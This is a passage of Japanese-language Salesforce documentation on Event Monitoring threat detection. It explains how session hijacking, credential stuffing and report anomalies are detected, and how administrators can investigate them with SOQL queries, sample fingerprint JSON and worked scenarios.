Salesforce では、API 生成とその周辺アクティビティに関する Salesforce コアアプリケーションログのメタデー
タを使用して、履歴アクティビティのベースラインモデルを構築します。そして、新しい API 生成アクティ
ビティをこのベースラインと比較して、新しいアクティビティが異常といえるほど異なっているかどうか
を判断します。ユーザが操作する実際のデータを Salesforce が調べることはありません。Salesforce はユーザ
がデータをどのように操作しているのかを確認します。
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脅威検知イベントの表示とフィードバックの提供
脅威検知アプリケーションを起動すると、Salesforce 組織で発生し、検知されたすべての脅威が表示されま
す。脅威には、ユーザによるレポート実行の異常、セッションハイジャックの試行、クレデンシャルスタッ
フィングなどが含まれます。同じアプリケーションを使用して、特定の脅威の重要度に関するフィードバッ
クを簡単に提供できます。

関連トピック:

プラットフォームイベント開発者ガイド: リアルタイムイベント監視オブジェクト
拡張トランザクションセキュリティ
How Salesforce Helps Protect You From Insider Threats (Salesforce でインサイダーの脅威から守る方法)

How Salesforce Helps Protect You From Credential Stuffers (Salesforce でクレデンシャルスタッフィング攻撃から守る方
法)

セッションハイジャック

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

セッションハイジャックは顧客を標的とした攻撃で、攻撃者がクライアントの
Web アプリケーションへのアクセス権を使用して情報を盗取しようとします。
私たちにとってこの Web アプリケーションは Salesforce です。クライアントは
Salesforce で正常に認証されると、セッショントークンを受け取ります。攻撃者
はそのセッショントークンを窃取して、クライアントのセッションを乗っ取ろ
うとします。
リアルタイムイベント監視の SessionHijackingEvent オブジェクトは、セッションハ
イジャック攻撃の一種である MiTB (Man In The Browser) 攻撃に対処します。MiTB 攻
撃では、攻撃者が最初にトロイの木馬プロキシのようなウイルスを仕掛け、ク
ライアントの Web アプリケーションを侵害します。その後、ウイルスがそれ自
体をクライアントのブラウザに埋め込みます。そして、クライアントが Salesforce

などの Web アプリケーションにアクセスしたときに、ウイルスがページを操作
し、クライアントと Salesforce 間で共有される機密情報を収集して情報を盗取し
ます。この種の攻撃をクライアントが検知するのは困難です。
Salesforce はこの悪者との競争で先行しており、MiTB 攻撃を検知するメカニズム
を装備しています。攻撃が検知されると、Salesforce がセッションとすべての子セッションを終了し、ユーザを
ログアウトして多要素認証を求めます。Salesforce ではこうした対策を講じることで、攻撃者がそのユーザの
セッションを使用して悪意のあるアクティビティを続行することを阻止します。この自動適用により、攻撃者
にとってはセッションハイジャックがコスト高になり、その結果 Salesforce のお客様にとってはセッションの安
全性が高まります。
Salesforce のどのお客様も、この脅威の軽減措置の対象です。イベント監視のユーザは、こうした攻撃の詳細を
表示できます。そして、攻撃に関連する有益な情報をリアルタイムで収集し、Salesforce の他のユーザに通知を
送信できます。

Salesforce でセッションハイジャックを検知する方法
Salesforce はセッションハイジャックの企みを検知するために、まずブラウザフィンガープリントを使用して、
ユーザがログインしたデバイスを特定します。セッション内で、Salesforce がブラウザフィンガープリントの著
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しい逸脱を確認した場合には、盗取された正当なセッション ID を使用して、別のデバイスから不正なアクティ
ビティが行われている可能性があります。Salesforce では、セッション内のブラウザフィンガープリントのペア
ごとに、セッションハイジャックのリスクスコアを計算します。そして、そのスコアを経験的に算定したしき
い値と比較して、異常なユーザセッションをリアルタイムに検知します。Salesforce が異常を検知すると、
SessionHijackingEvent が生成されます。

メモ:  Salesforce はブラウザフィンガープリントを使用してデバイスを特定しますが、ユーザの追跡には使
用しません。Salesforce では、疑わしい動作の検知の目的にのみデータを使用します。

このセクションの内容:

ブラウザフィンガープリントの特性
ブラウザフィンガープリントとは、集合的にデバイスを識別する特性のコレクションです。Salesforce では
これらの特性を使用して、ユーザがログインしたときの元のブラウザフィンガープリントのモデルを構築
します。そして、このモデルを使用して、ユーザのセッションが乗っ取られたかどうかを検知します。
セッションハイジャックの調査
セッションハイジャック攻撃を調査するときは、次のヒントを参考にしてください。

関連トピック:

Open Web Application Security Project: Session Hijacking Attack (オープン Web アプリケーションセキュリティプロジェ
クト: セッションハイジャック攻撃)

ブラウザフィンガープリントの特性

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ブラウザフィンガープリントとは、集合的にデバイスを識別する特性のコレク
ションです。Salesforce ではこれらの特性を使用して、ユーザがログインしたと
きの元のブラウザフィンガープリントのモデルを構築します。そして、このモ
デルを使用して、ユーザのセッションが乗っ取られたかどうかを検知します。

表 11 : セッションハイジャックの特性
例説明特性名

(750, 340)ブラウザのウィンドウサイズ (ピクセル単位)。window

Mozilla/5.0(iPad;
U; CPU iPhone
OS 3_2 like
Mac OS X;
en-us)
AppleWebKit/531.21.10
(KHTML, like

ブラウザ、オペレーティングシステム、バージョ
ンなどに関する情報を記載した HTTP ヘッダー。

userAgent

Gecko)
Version/4.0.4
Mobile/7B314
Safari/531.21.10
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例説明特性名

2020-03-03T03:10:10Z捕捉されたイベントのタイムスタンプ。通常は協定世界時 (UTC) 形
式です。

timestamp

(1050.0,1680.0)ブラウザの画像サイズ (ピクセル単位)。screen

Chrome PDF
Plugin:Portable

有効化されたブラウザプラグインをリストする JavaScript 属性。plugins

Document FormatChrome
PDF Viewer

Lightningフィンガープリントの発生元アプリケーション。originApp

0、1デジタル著作権管理 (DRM) が有効かどうか。drm

enabledユーザが Web サイトや広告主に追跡しないよう求めているかどうか
を示す JavaScript 属性。

dnt

trueブラウザが Web ソケットを使用したかどうか。webSockets

trueブラウザがセッションストレージを使用したかどうか。sessionStorage

iPadブラウザが実行されているプラットフォームに関する、ブラウザ設
定済みの JavaScript 属性 (window.navigator.platform)。

platform

falseセッションの期間以外にもローカルストレージが使用されているか
どうか。

localStorage

96.43.144.26 または
「Salesforce.com IP」

要求の IP アドレス。ipAddress

trueブラウザストレージでインデックス付きデータベースが有効かどう
か。

indexDb

9wAt8IYAgO=ブラウザのフォントリストのハッシュ値。fonts

(24.0,24.0)ブラウザの色深度。color
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セッションハイジャックの調査

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

セッションハイジャック攻撃を調査するときは、次のヒントを参考にしてくだ
さい。
まず、攻撃に関する詳細情報を示す、次のリアルタイムイベント監視イベント
を照会します。具体的には、次のようになります。
• SessionHijackingEvent とその情報を保存する SessionHijackingEventStore は、未承認

ユーザが、盗取したセッション識別子を使用して Salesforce ユーザのセッショ
ンの所有権を窃取した状況を追跡します。Salesforce はこのようなイベントを
検知するために、ユーザの現在のブラウザフィンガープリントが既知のフィ
ンガープリントとどのくらい顕著に異なるかを評価します。Salesforce では、
確率的に推測された変化の重要度を使用します。

重要:  SessionHijackingEvent オブジェクトにレコードがある場合は、過去に
攻撃が発生し、Salesforce セキュリティがすでにこのセキュリティ問題に
対処しています。独自の目的のためにこの攻撃を調査する以外、特にす
ることはありません。

• LoginEventStream (とその情報を保存する LoginEvent) は、組織のすべてのログインアクティビティを追跡しま
す。

たとえば、組織が SessionHijackingEvent を受信したとします。ここで最初にすることは、イベントの関連する項
目を確認し、攻撃に関する次のような基本情報を得ることです。
• Score: 6.0 ～ 21.0 の数値で、新しいブラウザフィンガープリントが以前のフィンガープリントとどのくらい

顕著に異なるかを示します。数値が大きいほど、セッションハイジャック攻撃が生じた可能性が高くなり
ます。

• UserId: ユーザの一意の ID。この ID を使用して、LoginEvent の詳細を照会します。
• EventDate: この攻撃がいつ発生したか。
• SecurityEventData: この異常検知に対する寄与度が最大であるブラウザフィンガープリントの特性の現

在の値と以前の値を示す JSON 項目。寄与する可能性のある特性の完全リストについては、この表を参照し
てください。

• Summary: イベントのテキスト形式の概要。
• Current-Previous 項目のペア: 次の項目のペアにより、ブラウザフィンガープリントの選択した特性の

現在の値と以前の値にすばやくアクセスできます。
– CurrentIp および PreviousIp: 現在および以前の IP アドレス。
– CurrentPlatform および PreviousPlatform: 現在および以前のオペレーティングシステム (Win32、

MacIntel、iPad など)。
– CurrentScreenおよび PreviousScreen: 現在および以前の画面サイズ (ピクセル単位、(900.0,1440.0) な

ど)。
– CurrentUserAgent および PreviousUserAgent: ブラウザ、バージョン、オペレーティングシステム

などの種別を識別する、ブラウザのユーザエージェントの現在の値と以前の値。たとえば、Mozilla/5.0

(Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 などで
す。
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– CurrentWindow および PreviousWindow: 現在および以前のウィンドウサイズ (ピクセル単位、
(1200.0,1920.0) など)。

項目の完全リストについては、API ドキュメントを参照してください。
次の SOQL クエリのサンプルは、上記の項目値を返します。
SELECT Score, UserId, EventDate, SecurityEventData, Summary
FROM SessionHijackingEventStore

SecurityEventData項目には、この異常検知をトリガしたブラウザフィンガープリントが示されるため、詳
しく見ていきましょう。サンプルデータは次のようになります。
[
{
"featureName": "userAgent",
"featureContribution": "0.45 %",
"previousValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/75.0.3770.142",
"currentValue": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/76.0.3809.100 Safari/537.36."
},
{
"featureName": "ipAddress",
"featureContribution": "0.23 %",
"previousValue": "201.17.237.77",
"currentValue": "182.64.210.144"
},
{
"featureName": "platform",
"featureContribution": "0.23 %",
"previousValue": "Win32",
"currentValue": "MacIntel"
},
{
"featureName": "screen",
"featureContribution": "0.23 %",
"previousValue":"(1050.0,1680.0)",
"currentValue": "(864.0,1536.0)"
},
{
"featureName": "window",
"featureContribution": "0.17 %",
"previousValue": "1363x1717",
"currentValue": "800x1200"
}
]

このサンプル JSON は、ウィンドウ、IP アドレス、プラットフォーム、など、ブラウザフィンガープリントの
多数の特性が変化していることを示しています。Salesforce は、ユーザセッションが乗っ取られたと結論付けま
す。

関連トピック:

プラットフォームイベント開発者ガイド: SessionHijackingEvent
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クレデンシャルスタッフィング

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

クレデンシャルスタッフィングは、盗取したログイン情報を使用する一種のサ
イバー攻撃です。「パスワードスプレー」「クレデンシャル漏洩」ともいいま
す。攻撃者は、データ侵害や他の種類のサイバー攻撃によって大量のユーザ名
とパスワードを取得します。そして、取得したログイン情報を使用して、Salesforce

などの Web アプリケーションに大規模な自動ログイン要求を仕掛け、ユーザア
カウントに不正にアクセスします。
Salesforce では、2 段階のプロセスでクレデンシャルスタッフィング攻撃を特定し
ています。まず、ログイントラフィックを分析し、クレデンシャルスタッフィ
ング攻撃が発生していないかどうかを確かめます。特に、同じエンドポイント
に複数のログイン情報を次々と入力したり、複数のパスワードを列挙して同じ
ユーザアカウントへのログインを繰り返したりする攻撃者を見つけ出します。
次に、ログイントラフィック量における成功と失敗の比率を検証します。この
トラフィック量が一定のしきい値を超えている場合は、フィンガープリントの
詳細を確認し、影響を受けるユーザのプロファイルを特定します。
クレデンシャルスタッフィング動作を示すエンドポイントからのログイン成功
を検知したら、影響を受けるユーザに ID 検証を求めます。ユーザがこの検証にパスした場合は、Salesforce に再
度アクセスする前にパスワードの変更を義務付けます。
Salesforce のどのお客様も、この脅威の軽減措置の対象です。イベント監視のユーザの場合は、CredentialStuffingEvent

オブジェクトを使用してこうした攻撃の詳細を表示することができます。そして、この種の攻撃に関連する有
益な情報をリアルタイムで収集し、Salesforce の他のユーザに通知を送信することができます。

このセクションの内容:

クレデンシャルスタッフィングの調査
クレデンシャルスタッフィング攻撃を調査するときは、次のヒントを参考にしてください。

クレデンシャルスタッフィングの調査

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

クレデンシャルスタッフィング攻撃を調査するときは、次のヒントを参考にし
てください。
まず、攻撃に関する詳細情報を示す、次のリアルタイムイベント監視イベント
を照会します。具体的には、次のようになります。
• CredentialStuffingEvent とその情報を保存する CredentialStuffingEventStore は、特定

したクレデンシャルスタッフィング攻撃の最中にユーザが Salesforce に正常に
ログインした状況を追跡します。

重要:  CredentialStuffingEvent オブジェクトにレコードがある場合は、過去
に攻撃が発生し、Salesforce セキュリティがすでにこのセキュリティ問題
に対処しています。独自の目的のためにこの攻撃を調査する以外、特に
することはありません。

• LoginEventStream とその情報を保存する LoginEvent は、Salesforce 組織のすべての
ログインアクティビティを追跡します。
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たとえば、組織が CredentialStuffingEvent を受信したとします。ここで最初にすることは、イベントの関連する項
目を確認し、攻撃に関する次のような基本情報を得ることです。
• UserId: ユーザの一意の ID。この ID を使用して、LoginEvent の詳細を照会します。
• EventDate: この攻撃がいつ発生したか。
• Summary: イベントのテキスト形式の概要。
項目の完全リストについては、API ドキュメントを参照してください。
次の SOQL クエリのサンプルは、上記の項目値を返します。
SELECT UserId, EventDate, Summary FROM CredentialStuffingEventStore

このようなクエリを使用して、クレデンシャルスタッフィング攻撃の影響を受ける、組織内のユーザを特定で
きます。これらのユーザは、組織のパスワードを他の Web サイトで使い回したか、そのパスワードが一般的
なパターンに従ったもので強度が十分ではありません。組織を守るために、強力なパスワードを作成して管理
する方法をユーザに指導します。
また、パスワード保護でセキュリティを向上させることも検討します。パスワード履歴、パスワード長、パス
ワード文字列の要件を設定できます。また、ユーザがパスワードを忘れた場合の操作も指定できます。もう 1

つのベストプラクティスは、多要素認証 (MFA) を設定することです。最後に、パスワードなしでログインでき
る Lightning Login を有効にすることを検討します。

関連トピック:

Salesforce ヘルプ: Lightning Login の有効化によるパスワードを使用しないログイン
Trailhead: 組織の保護に関するユーザ教育
Salesforce セキュリティガイド: パスワードポリシーの設定
プラットフォームイベント開発者ガイド: CredentialStuffingEvent

レポートの異常

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

異常とは、そのユーザの過去のアクティビティとは明らかに異なるユーザアク
ティビティのことです。Salesforce では、レポート生成とその周辺アクティビティ
に関する Salesforce コアアプリケーションログのメタデータを使用して、履歴ア
クティビティのベースラインモデルを構築します。そして、新しいレポート生
成アクティビティをこのベースラインと比較して、新しいアクティビティが異
常といえるほど異なっているかどうかを判断します。ユーザが操作する実際の
データを Salesforce が調べることはありません。Salesforce はユーザがデータをど
のように操作しているのかを確認します。
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このセクションの内容:

トレーニングステップと推測ステップ
機械学習や統計の他のモデルと同様、Salesforce の検知モデルにも、トレーニングステップと推測または検
知ステップというお馴染みの 2 段階プロセスがあります。このどちらのステップもお客様が実施すること
はありません。お客様に変わって Salesforce が実行するためです。お客様がすることは、検知モードで生成
された検知イベントを確認し、必要に応じて対策を講じるだけです。
レポートの異常の調査
異常を無害として排除するため、またはデータ侵害が発生したかどうかを判断するために、レポートの異
常を詳しく調査する必要のあることがよくあります。
レポートの異常を調査する場合のベストプラクティス
普段とは異なるユーザ行動を調査するときは、次のヒントやベストプラクティスを参考にしてください。
データの安全性について、十分な情報に基づく結論を下すために必要な情報を見つけることができます。
レポートの異常検知の例
ここでは、異常なレポートイベントを徹底的に調査する方法を示すいくつかの例を紹介します。

トレーニングステップと推測ステップ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

機械学習や統計の他のモデルと同様、Salesforce の検知モデルにも、トレーニン
グステップと推測または検知ステップというお馴染みの 2 段階プロセスがあり
ます。このどちらのステップもお客様が実施することはありません。お客様に
変わって Salesforce が実行するためです。お客様がすることは、検知モードで生
成された検知イベントを確認し、必要に応じて対策を講じるだけです。

トレーニングステップ
Salesforce アプリケーションログに基づくメタデータを使用して、さまざまな属
性 (特性ともいう) を抽出します。Salesforce では、レポート生成とその周辺アク
ティビティに関する 90 日間のメタデータを使用します。モデルの向上に伴い、
特性の実際のリストも変化します。
こうした特性を使用して、ユーザの典型的なレポート生成アクティビティのモ
デルを構築します。このステップをモデルトレーニングといいます。Salesforce

ではトレーニングされたモデルを使用して、2 つ目のステップで異常を検知しま
す。

推測 (または検知) ステップ
検知ステップでは、各ユーザのあらゆるレポート生成アクティビティをチェックし、モデルのトレーニングに
使用される同じ特性セットを抽出します。そして、特性をユーザの典型的な行動モデルと比較して、検討対象
のアクティビティが著しく異なっているかどうかを判断します。

異常スコア
各レポート生成アクティビティがユーザの典型的なアクティビティと比較してどの程度異なっているかに基づ
いて、各アクティビティに異常スコアの数値が割り当てられます。異常スコアは常に 0 ～ 100 の数値で、大概
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は百分率で表されます。異常スコアが低いということは、ユーザのレポート生成アクティビティがユーザの典
型的なアクティビティと似ているということです。異常スコアが高いということは、ユーザのレポート生成ア
クティビティがユーザの典型的なアクティビティと異なっているということです。

臨界しきい値
すべてのレポート生成イベントに異常スコアが割り当てられますが、すべての生成イベントが異常なわけでは
ありません。しきい値を使用して、どのレポート生成イベントがユーザの典型的なアクティビティと十分に異
なっているかを判断します。異常スコアが臨界しきい値を上回るイベントが異常とみなされます。

レポートの異常の調査

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

異常を無害として排除するため、またはデータ侵害が発生したかどうかを判断
するために、レポートの異常を詳しく調査する必要のあることがよくあります。
Shield ユーザの場合は、リアルタイムイベント監視イベントに、調査を実施する
ために必要な情報が提示されます。具体的には、次のようになります。
• ReportAnomalyEvent (とその情報を保存する ReportAnomalyEventStore) は、レポー

トを実行中またはエクスポート中のユーザに関する異常が検知された状況を
追跡します。これらのオブジェクトが調査の出発点になります。

• ReportEventStream (とその情報を保存する ReportEvent) は、ユーザが組織でレポー
トを実行またはエクスポートする一般的な状況を追跡します。この 2 つのオ
ブジェクトは、リアルタイムのレポート実行またはレポート実行履歴を確認
するために使用します。

• LoginEventStream (とその情報を保存する LoginEvent) は、組織のすべてのログイ
ンアクティビティを追跡します。

たとえば、ユーザのレポート実行における異常の可能性を示す ReportAnomalyEvent

を組織が受信したとします。ここで最初にすることは、イベントの関連する項目を確認し、異常に関する次の
ような基本情報を得ることです。
• Score: このユーザのレポート実行が通常のアクティビティとどれほど異なっているかを表す数値。数値が

大きいほど、逸れていることになります。
• UserId: ユーザの一意の ID。
• EventDate: この異常がいつ発生したか。
• Report: この異常が検知されたレポート ID。
• SecurityEventData: 行数や曜日など、この異常検知に対する寄与度が最大の特性を示す JSON 項目。寄与

する可能性のある特性の完全リストについては、この表 (ページ 334)を参照してください。
• Summary: イベントのテキスト形式の概要。
項目の完全リストについては、API ドキュメントを参照してください。
次の SOQL クエリのサンプルは、上記の項目値を返します。
SELECT Score, UserId, EventDate, Report, SecurityEventData, Summary
FROM ReportAnomalyEventStore
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SecurityEventData項目には、この異常検知をトリガした寄与要因が示されるため、詳しく見ていきましょ
う。サンプルデータは次のようになります。
[
{
"featureName": "rowCount",
"featureValue": "1937568",
"featureContribution": “95.00 %"
},
{
"featureName": "autonomousSystem",
"featureValue": "Bigleaf Networks, Inc.",
"featureContribution": “1.62 %"
},
{
"featureName": "dayOfWeek",
"featureValue": "Sunday",
"featureContribution": “1.42 %"
},
{
"featureName": "userAgent",
"featureValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}",
"featureContribution": “1.21 %"
},
{
"featureName": "periodOfDay",
"featureValue": “Evening”,
"featureContribution": “.09 %"
},
{
"featureName": "averageRowSize",
"featureValue": "744",
"featureContribution": “0.08 %"
},
{
"featureName": "screenResolution",
"featureValue": "900x1440",
"featureContribution": “0.07 %"
}
]

この異常検知に対する寄与度が最大 (95.00%) の特性は rowCount で、値は 1937568 です。この特性は、ユーザが
1,937,568 行のレポートを表示またはエクスポートしたことを示します。履歴データを見ると、このユーザがこ
れほど多くのデータを表示またはエクスポートすることはほとんどありません。スコアに対する他の特性の寄
与度ははるかに小さくなっています。たとえば、このユーザはレポートを日曜日に実行していますが、この特
性による全体スコアに対する寄与度はわずか 1.42% です。
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こうしたデータがあれば、調査をさらに進めることができます。

関連トピック:

トレーニングステップと推測ステップ
プラットフォームイベント開発者ガイド: ReportAnomalyEvent

プラットフォームイベント開発者ガイド: ReportEvent

レポートの異常を調査する場合のベストプラクティス

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

普段とは異なるユーザ行動を調査するときは、次のヒントやベストプラクティ
スを参考にしてください。データの安全性について、十分な情報に基づく結論
を下すために必要な情報を見つけることができます。
関係のあるユーザを特定する。

お客様のプライバシーに対する配慮により、Salesforce が顧客データやレポー
ト内のデータにアクセスすることはできません。したがって、Salesforce が提
供できるのは、異常とマークされたレポートを生成したユーザのユーザ ID の
みです。このユーザ ID を使用して、検知イベントに関連付けられている人物
のユーザ名や他の詳細を割り出します。
項目: ReportAnomalyEvent.UserId

タイムスタンプを利用する。
Salesforce の検知モデルではすでに、タイムスタンプから得られるさまざまな
特性を検討し、レポート生成アクティビティが異常かどうかを判断していま
す。このタイムスタンプを使用して、確認する必要のあるイベントを絞り込
むことができます。また、レポートを生成したユーザにとって、レポート生成時刻が普段と異なっている
かどうかも判断できます。
項目: ReportAnomalyEvent.EventDate

異常に寄与している要因に着目する。
寄与要因の JSON 出力に、特性のリスト (ページ334)が寄与度の高い順に示されます。イベントログを調査す
るときは、寄与度が上位の特性から見ていきます。上位の特性が普段とは異なると思われる場合には、異
常を確定する証拠が判明したり、データ侵害の可能性が示唆されたりすることがあります。
項目: ReportAnomalyEvent.SecurityEventData

ユーザの典型的な行動に照らして異常を検討する。
ReportAnomalyEvent 項目値を使用して、検知イベント内のユーザアクティビティがそのユーザにとって典型
的なものかどうかを判断します。たとえば、特定した IP アドレスからレポートを生成することが、そのユー
ザにとって典型的なことかどうかを検討します。
項目: ReportAnomalyEvent.SourceIp

レポートのサイズを検討する。
Salesforce では、レポートのサイズからレポート生成が異常かどうかを判断します。通常より大きなレポー
トを生成しているユーザは、データの不正エクスポートを試みている可能性があります。たとえば、ユー
ザのアカウントへのアクセス権を不正に取得した攻撃者が、アクセス権が失効する前にできるだけ多くの
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データを盗取していることがあります。あるいは、不満を抱いている従業員が、雇用主のニーズの範疇を
超えた用途のためにデータを盗み出しているのかもしれません。
項目: ReportAnomalyEvent.SecurityEventData  (特に RowCount の特性名)

すべての異常に悪意があるわけではない。
異常の中には、悪意をはらむ可能性のあるものもあれば、普段とは異なるものの、正当である場合もあり
ます。Salesforce の検知モデルでは、普段とは異なるが、悪意のない検知イベントが生成されることがあり
ます。たとえば、ある従業員が新しい役職に昇進し、以前より大きなレポートを生成するようになった場
合、Salesforce のモデルによってこの行動に異常のフラグが設定されることがあります。

関連トピック:

トレーニングステップと推測ステップ
プラットフォームイベント開発者ガイド: ReportAnomalyEvent

プラットフォームイベント開発者ガイド: ReportEvent

レポートの異常検知の例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ここでは、異常なレポートイベントを徹底的に調査する方法を示すいくつかの
例を紹介します。

このセクションの内容:

検知イベントが異常ではない場合
Jason は営業データアナリストで、その上司は地域の営業マネージャです。
Jason の職務は、マネージャが営業の電話で使用するレポートを生成すること
です。2019 年 3 月 27 日、Jason のアカウントを使用してレポートが生成され
ました。Jason の組織のシステム管理者である Alia が、このレポート生成アク
ティビティに関する ReportAnomalyEvent に気が付きました。
検知イベントがおそらく異常である場合
Rob は最近カスタマーサクセス担当として入社しました。2019 年 1 月 15 日、
Rob のアカウントを使用してレポートが生成されました。組織の Salesforce シ
ステム管理者である Tony が、このレポート生成アクティビティに関する
ReportAnomalyEvent に気が付きました。
検知イベントは明らかに異常ながら、悪意はないと思われる場合
Alice はセントルイスを拠点とする営業担当です。クライアントを訪問するために出張することが多々あり
ます。出張時は大概、会社の VPN を使用して Salesforce にログインしますが、使用しないこともあります。
検知イベントに悪意のあることが確定した場合
サンフランシスコを拠点とする営業担当の John は出張することがよくあります。週 1 回の営業プレゼンテー
ションのために、担当するリードのレポートを定期的にダウンロードしています。John は 500 ～ 1,000 人の
リードにアクセスでき、週次レポートのダウンロードに含まれる行数は通常 500 ～ 1,000 行です。
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検知イベントが異常ではない場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

Jason は営業データアナリストで、その上司は地域の営業マネージャです。Jason

の職務は、マネージャが営業の電話で使用するレポートを生成することです。
2019 年 3 月 27 日、Jason のアカウントを使用してレポートが生成されました。
Jason の組織のシステム管理者である Alia が、このレポート生成アクティビティ
に関する ReportAnomalyEvent に気が付きました。
このイベントには次の情報が示されています。

値ReportAnomalyEvent 項目

97.9801Score

96.43.144.30SourceIp

2019-03-27T07:45:07.192ZEventDate

00530000009M946UserId

00OD0000001leVCMAYReport

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が示されています。

featureContributionfeatureValuefeatureName

60.2%17234rowCount

25.6%0dayOfWeek

12.5%12numberColumns

1.04%11numberFilters

0.65%NightperiodOfDay

Alia は、日曜日に生成されたこのレポートが約 17,000 行であったことに気が付きました。そこで、さらに調査
することにします。Alia は UserId 項目値から、ユーザが Jason であることを突き止めます。ReportEvent イベント
を使用して、Jason の過去のレポート作成アクティビティを確認しました。そして、営業データアナリストの
Jason が、ほんの数行から 2 万行まで多様なサイズのレポートを生成していることに気が付きます。Alia はま
た、Jason がマネージャの販売説明会に同行し、日曜日や夜分に仕事をすることが少なくないことを知ります。
Alia は、このレポート生成アクティビティは Jason の典型的なアクティビティの範疇であるため、この検知イベ
ントは異常ではないと結論付けます。

関連トピック:

プラットフォームイベント開発者ガイド: ReportAnomalyEvent

プラットフォームイベント開発者ガイド: ReportEvent
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検知イベントがおそらく異常である場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

Rob は最近カスタマーサクセス担当として入社しました。2019 年 1 月 15 日、Rob

のアカウントを使用してレポートが生成されました。組織の Salesforce システム
管理者である Tony が、このレポート生成アクティビティに関する
ReportAnomalyEvent に気が付きました。
このイベントには次の情報が示されています。

値ReportAnomalyEvent 項目

96.4512Score

96.43.144.28SourceIp

2019-01-15T07:45:07.192ZEventDate

00530000009M945UserId

00OD0000001leVCMAYReport

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が示されています。

featureContributionfeatureValuefeatureName

58.65%46008rowCount

30.23%-userAgent

6.58%1534averageRowSize

2.33%-browserCodecs

2.19%-acceptedLanguages

Tony は組織にとって rowCount 特性がやや高いことに気が付きました。2 番目に高い特性は userAgent で、寄与度
は約 30% です。この比率は、このユーザエージェントが組織にとって一般的なものではないことを示唆しま
す。Tony は調査を進め、UserId 項目から Rob を突き止めます。そして、Rob が最近入社した従業員であることを
知ります。ReportEvent イベントを確認した Tony は、Rob が時々 46,000 行のレポートを生成していることに気が
付きました。Rob が比較的新しい従業員であることから、Tony はこのレポートが Rob の典型的な活動パターン
と一致するのかどうか確信が持てません。
Tony は、この検知が異常である可能性があるものの、現時点では脅威の軽減策を講じないと結論付けます。

関連トピック:

プラットフォームイベント開発者ガイド: ReportAnomalyEvent

プラットフォームイベント開発者ガイド: ReportEvent
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検知イベントは明らかに異常ながら、悪意はないと思われる場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

Alice はセントルイスを拠点とする営業担当です。クライアントを訪問するため
に出張することが多々あります。出張時は大概、会社の VPN を使用して Salesforce

にログインしますが、使用しないこともあります。
2015 年 7 月 27 日、Alice のアカウントを使用して、比較的新しい IP アドレスから
レポートが生成されました。Alice の組織のシステム管理者である Bob が、この
レポート生成アクティビティに関する ReportAnomalyEvent に気が付きました。こ
のイベントには次の情報が示されています。

値ReportAnomalyEvent 項目

95.0158Score

96.43.144.27SourceIp

2015-07-27T07:45:07.192ZEventDate

00530000009M944UserId

00OD0000001leVCMAYReport

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が示されています。

featureContributionfeatureValuefeatureName

73.4%Softbank CorpautonomousSystem

15.6%50876rowCount

9.9%-userAgent

0.81%11numberFilters

0.21%NightperiodOfDay

Bob は、最上位の特性が IP アドレスから判明した自律システムで、寄与度が 73.4% であることを知ります。こ
の比率は、Alice がこの自律システムをめったに使用しないことを示しています。Bob はまた、レポートの行数
